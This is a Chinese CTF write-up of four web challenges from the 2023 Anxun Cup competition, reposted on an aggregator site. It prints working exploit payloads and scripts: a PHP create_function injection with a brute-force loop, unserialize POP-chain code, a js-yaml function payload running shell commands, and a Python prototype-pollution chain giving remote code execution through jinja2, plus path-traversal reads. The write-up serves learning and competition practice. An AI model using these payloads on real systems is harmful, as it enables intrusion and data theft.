【Web】2023安洵杯第六届网络安全挑战赛 WP

目录

What's my name 

easy_unserialize

signal

Swagger docs


赛题链接:GitHub - D0g3-Lab/i-SOON_CTF_2023: 2023 第六届安洵杯 题目环境/源码

What's my name 

第一段正则用于匹配以 include 结尾的字符串,并且在 include 之前,可以有任意多个 5 个字符组成的块。

下面明显可以看到create_function注入PHP代码 之create_function()函数_create function-CSDN博客

再一个条件判断

如果 $d0g3 的长度等于 $miao 字符串的最后两个字符的值,且 $name 严格等于 $miao的值

匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数 

先测payload的长度

1234'"]);}include('php://filter/read=string.strip_tags/resource=admin.php');echo 'Z3r4y';/*

print(len("""1234'"]);}include('php://filter/read=string.strip_tags/resource=admin.php');echo 'Z3r4y';/*"""))
# 91

再写个脚本循环发包include读到flag

import requests
url="http://127.0.0.1:9999"
while 1:a=requests.get(url+"?d0g3=1234%27%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'Z3r4y';/*&name=%00lambda_91")print(a.text)if"Z3r4y" in a.text:breakprint("testing...")
print(a.text)

easy_unserialize

瞪眼看链子

You#__wakeup -> Luck#__unset -> Good#__isset -> To#__set -> Luck#__get -> To#__call -> Luck#__toString -> Flag#__invoke

先FilesystemIterator扫目录 

 exp:

<?php
class Good{public $g1;public $gg2;}
class Luck{public $l1;public $ll2;public $md5;public $lll3;}class To{public $t1;public $tt2;public $arg1;}
class You{public $y1;}
class Flag{}// You#__wakeup -> Luck#__unset -> Good#__isset -> To#__set -> Luck#__get -> To#__call -> Luck#__toString -> Flag#__invoke$h=new Flag();
$g=new Luck();
$f=new To();
$e=new Luck();
$d=new To();
$c=new Good();
$b=new Luck();
$a=new You();
$h->FilesystemIterator='/';
$g->l1=$h;
$f->arg1='';
$f->t1=$g;
$e->ll2=$f;
$d->tt2=$e;
$c->gg2='$';
$c->g1=$d;
$b->md5='wSjM90msQ7RqwX3tvQ42';
$b->lll3=$c;
$a->y1=$b;
echo serialize($a);

 再SplFileObject读文件

<?php
class Good{public $g1;public $gg2;}
class Luck{public $l1;public $ll2;public $md5;public $lll3;}class To{public $t1;public $tt2;public $arg1;}
class You{public $y1;}
class Flag{}// You#__wakeup -> Luck#__unset -> Good#__isset -> To#__set -> Luck#__get -> To#__call -> Luck#__toString -> Flag#__invoke$h=new Flag();
$g=new Luck();
$f=new To();
$e=new Luck();
$d=new To();
$c=new Good();
$b=new Luck();
$a=new You();
$h->SplFileObject='/FfffLlllLaAaaggGgGg';
$g->l1=$h;
$f->arg1='';
$f->t1=$g;
$e->ll2=$f;
$d->tt2=$e;
$c->gg2='$';
$c->g1=$d;
$b->md5='wSjM90msQ7RqwX3tvQ42';
$b->lll3=$c;
$a->y1=$b;
echo serialize($a);

signal

漏洞的点在yaml反序列化

js-yaml的版本是3.14.1

 公开搜到很多3.13.1之前版本的jsyaml漏洞利用,但靶机是3.14.1,我们去看commits

 看到3.14.0之后就是4.0.0

 render传给preview.ejs渲染的时候会调用属性的toString方法

最终payload:

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /f*').toString(); return flag;}"}

 直接读到flag

Swagger docs

任意文件读取读源码

看到update存在原型链污染

先注册登录

 

 

参考CTFtime.org / idekCTF 2022* / task manager / Writeup

可以污染下面的值来利用render_template_string去RCE

__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported[0]

payload:

{"__init__": {"__globals__": {"__loader__": {"__init__": {"__globals__": {"sys": {"modules": {"jinja2": {"runtime": {"exported": ["*;__import__('os').system('ls /app > /result1');#"]}}}}}}}}}
}

 

先随便读个文件触发render_template_string

/api-base/v0/search?file=../../../../../app/run.sh&type=text

再任意文件读即可 

/api-base/v0/search?file=../../../../../result1&type=text

再污染一次

{"__init__": {"__globals__": {"__loader__": {"__init__": {"__globals__": {"sys": {"modules": {"jinja2": {"runtime": {"exported": ["*;__import__('os').system('cat /app/Cx05PYxZKFIK2aLjb9HjYuyvn1IJHz0T_FLAG > /result2');#"]}}}}}}}}}
}

 再触发一次

/api-base/v0/search?file=../../../../../app/run.sh&type=text

再读一次 

/api-base/v0/search?file=../../../../../result2&type=text

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/486090.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从零开始的vscode配置及安装rust教程

配置vscode的rust环境 下载安装vscodemac 环境 1. 下载安装rust2. 配置 mac vscode环境3. 创建一个测试项目 windows 环境 1. 安装c运行环境2. 安装配置rustup3. 配置windows vscode环境4. 创建一个测试项目 下载安装vscode 1.官网应用程序下载 vscode&#xff1a;https://…

小程序 - 美食列表

小程序交互练习 - 美食列表小程序开发笔记 目录 美食列表 功能描述 准备工作 创建项目 配置页面 配置导航栏 启动本地服务器 页面初始数据 设置获取美食数据 设置onload函数 设置项目配置 页面渲染 页面样式 处理电话格式 创建处理电话格式脚本 页面引入脚本 …

ip所属地址是什么意思?怎么改ip地址归属地

在数字化时代&#xff0c;IP地址作为网络设备的唯一标识符&#xff0c;不仅关乎设备间的通信&#xff0c;还涉及到用户的网络身份与位置信息。IP所属地址&#xff0c;即IP地址的归属地&#xff0c;通常反映了设备连接互联网时的地理位置。本文将深入解析IP所属地址的含义&#…

【opencv入门教程】12. 矩阵初始化

文章选自&#xff1a; 一、 数据类型 建立矩阵必须要指定矩阵存储的数据类型&#xff0c;图像处理中常用的几种数据类型如下&#xff1a;包括数据位深度8位、32位&#xff0c;数据类型U:uchar、F:float型以及通道数C1&#xff1a;单通道、C3&#xff1a;三通道、C4&#xff…

Hadoop生态圈框架部署 伪集群版(七)- Hive部署

文章目录 前言一、Hive部署&#xff08;手动部署&#xff09;1. 下载Hive2. 解压Hive安装包2.1 解压2.2 重命名2.3 解决冲突2.3.1 解决guava冲突2.3.2 解决SLF4J冲突 3. 配置Hive3.1 配置Hive环境变量3.2 修改 hive-site.xml 配置文件3.3 配置MySQL驱动包 4. 初始化MySQL上的存…

Hadoop生态圈框架部署 伪集群版(五)- HBase伪分布式部署

文章目录 前言一、Hbase伪分布式部署&#xff08;手动部署&#xff09;1. 下载Hbase2. 上传安装包3. 解压HBase安装包4. 配置HBase配置文件4.1 修改hbase-env.sh配置文件4.2 修改hbase-site.xml配置文件4.3 修改regionservers配置文件4.4 删除hbase中slf4j-reload4j-1.7.33.jar…

家政项目小程序+ssm

摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍了微信小程序家政项目小程序的开发全过程。通过分析微信小程序家政项目小程序管理的不足&#xff0c;创建了一个计算机管理微信小程序家政项目小程序的方案。文章…

qt QNetworkAccessManager详解

1、概述 QNetworkAccessManager是QtNetwork模块中的一个核心类&#xff0c;它允许应用程序发送网络请求并接收响应。该类是网络通信的基石&#xff0c;提供了一种方便的方式来处理常见的网络协议&#xff0c;如HTTP、HTTPS等。QNetworkAccessManager对象持有其发送的请求的通用…

五、docker的网络模式

五、docker的网络模式 5.1 Docker的四种网络模式 当你安装docker时&#xff0c;它会自动创建三个网络&#xff0c;可使用如下命令查看&#xff1a; [rootlocalhost ~]# docker network ls NETWORK ID NAME DRIVER SCOPE 7390284b02d6 bridge bridge lo…

T113-S3 Tina 串口切换

前面介绍了如何在 Tina 中添加新的板子及切换存储类型&#xff0c;本节介绍如何修改板子串口配置。 1、修改调试串口 Tina 调试串口 配置在 device/config/chips/t113/configs/evbemmc/sys_config.fex 文件中&#xff0c;可以修改 uart_para 变量来指定调试串口。 ;--------…

【计算机网络】 —— 数据链路层(壹)

文章目录 前言 一、概述 1. 基本概念 2. 数据链路层的三个主要问题 二、封装成帧 1. 概念 2. 帧头、帧尾的作用 3. 透明传输 4. 提高效率 三、差错检测 1. 概念 2. 奇偶校验 3. 循环冗余校验CRC 1. 步骤 2. 生成多项式 3. 例题 4. 总结 四、可靠传输 1. 基本…

M005 PHP+MYSQL+web编程课程网站的设计与实现 源码 配置 文档

web编程课程网站 1.摘要2.开发目的和意义3.系统功能设计4.系统界面截图5.源码获取 1.摘要 随着互联网的飞速发展&#xff0c;各行各业的信息化进程逐步加快。商业信息化、政务信息化、教育信息、服务信息化等等已遍布全国各地。信息化的服务平台能更加高效的为用户提供各种服务…

深入理解 PyTorch 自动微分机制与自定义 torch.autograd.Function

文章目录 前言一、pytorch使用现有的自动微分机制二、torch.autograd.Function中的ctx解读1、forward 方法中的 ctx2、backward 方法中的 ctx3、小结 三、pytorch自定义自动微分函数&#xff08;torch.autograd.Function&#xff09;1、torch.autograd.Function计算前向与后向传…

python怎么打印心形

首先按WinR调出运行界面&#xff0c;输入cmd打开命令行。 接着输入python命令进入python环境。 然后复制下面的代码进行粘贴&#xff1a; print(\n.join([.join([(baidu[(x-y) % len(baidu)] if ((x*0.05)**2(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3 < 0else ) for x in r…

LabVIEW-简单串口助手

LabVIEW-简单串口助手 串口函数VISA配置串口VISA写入函数VISA读取函数VISA资源名称按名称解除捆绑 函数存放位置思维导图主体界面为以下 串口函数 VISA配置串口 VISA写入函数 VISA读取函数 VISA资源名称 按名称解除捆绑 函数存放位置 思维导图 主体界面为以下 从创建好的“枚举…

使用数据层进行数据生命周期管理

作者&#xff1a;来自 Elastic Stef Nestor Elasticsearch 7.10 使配置数据生命周期变得不再那么复杂。在这篇博文中&#xff0c;我将介绍一些变化、如何使用它们以及一些最佳实践。 数据生命周期可以包含很多阶段&#xff0c;因此我们将涉及&#xff1a; 将集群划分为层&…

IPv4路由典型配置-BGP

一、组网说明 三台设备运行BGP协议&#xff0c;SW 1属于AS 100&#xff0c;SW 2和SW 3属于AS 200。配置BGP协议&#xff0c;以保证三台设备之间可以互通。 二、组网图 三、配置步骤 SW 1的配置 #BGP部分 switch(config)#router bgp 100switch(config-router-bgp)#bgp …

【优选算法篇】:滑动窗口算法--开启高效解题的“窗口”,透过例题看奥秘

✨感谢您阅读本篇文章&#xff0c;文章内容是个人学习笔记的整理&#xff0c;如果哪里有误的话还请您指正噢✨ ✨ 个人主页&#xff1a;余辉zmh–CSDN博客 ✨ 文章所属专栏&#xff1a;c篇–CSDN博客 文章目录 一.滑动窗口算法二.例题1.长度最小的子数组2.无重复字符的最长字串…

什么是甘特图?使用甘特图制定项目计划表的步骤

在项目管理中&#xff0c;项目计划是项目的核心要素&#xff0c;它详细记录了项目任务详情、责任人、时间规划以及所需资源。 这份计划不仅为项目推进提供指引&#xff0c;更是控制范围蔓延、争取更多支持的有力工具。 在项目管理中&#xff0c;项目计划是项目的核心要素&…

keil报错---connection refused due to device mismatch

解决办法如下&#xff1a; 记得改成1 把Enable取消